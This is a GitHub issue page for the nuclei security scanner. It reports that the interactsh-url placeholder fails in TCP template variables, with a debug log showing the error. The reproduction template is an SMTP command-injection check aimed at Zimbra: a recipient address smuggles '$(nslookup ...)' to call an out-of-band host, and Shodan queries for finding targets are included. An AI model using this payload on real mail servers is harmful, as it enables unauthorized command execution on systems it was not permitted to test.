Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[BUG] interactsh-url placeholder doesn't work in variables for tcp #5669

Closed
1 task done
Ice3man543 opened this issue Sep 28, 2024 · 0 comments · Fixed by #5677
Closed
1 task done

[BUG] interactsh-url placeholder doesn't work in variables for tcp #5669

Ice3man543 opened this issue Sep 28, 2024 · 0 comments · Fixed by #5677
Assignees
Labels
Type: Bug Inconsistencies or issues which will cause an issue or problem for users or implementors.
Milestone

Comments

@Ice3man543
Copy link
Member

Ice3man543 commented Sep 28, 2024

Is there an existing issue for this?

  • I have searched the existing issues.

Current Behavior

When using {{interactsh-url}} with variables, it doesn't work

Expected Behavior

It should work

Steps To Reproduce

Make a template with interactsh-url in variables

id: smtp-command-injection

info:
  name: SMTP Command Injection
  author: ProjectDiscoveryAI
  severity: high
  metadata:
    max-request: 4
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"

variables:
  oob: "{{interactsh-url}}"

tcp:
  - inputs:
      - data: "EHLO {{Host}}\r\n"
      - data: "MAIL FROM:<attacker@localhost>\r\n"
      - data: "RCPT TO:<victim($(nslookup$IFS{{oob}}))@example.com>\r\n"
      - data: "DATA\r\n"
      - data: "Subject: Test\r\n"
      - data: "Test email body.\r\n"
      - data: ".\r\n"
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    port: 80
    read-size: 1024
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

Relevant log output

❯ nuclei -t xx.yaml -u example.com -debug

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.1

                projectdiscovery.io

[INF] Current nuclei version: v3.3.1 (outdated)
[INF] Current nuclei-templates version: v10.0.0 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 255
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[WRN] [smtp-command-injection] Could not make network request for example.com:80: unresolved variables found: interactsh-url
[INF] No results found. Better luck next time!

Environment

- OS: mac
- Nuclei: latest
- Go: go1.23

Anything else?

No response

@Ice3man543 Ice3man543 added the Type: Bug Inconsistencies or issues which will cause an issue or problem for users or implementors. label Sep 28, 2024
@Ice3man543 Ice3man543 changed the title [BUG] interactsh-url placeholder doesn't work in variables sometimes [BUG] interactsh-url placeholder doesn't work in variables for tcp Sep 28, 2024
@RamanaReddy0M RamanaReddy0M self-assigned this Sep 30, 2024
@dwisiswant0 dwisiswant0 added this to the nuclei v3.3.5 milestone Oct 7, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Type: Bug Inconsistencies or issues which will cause an issue or problem for users or implementors.
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants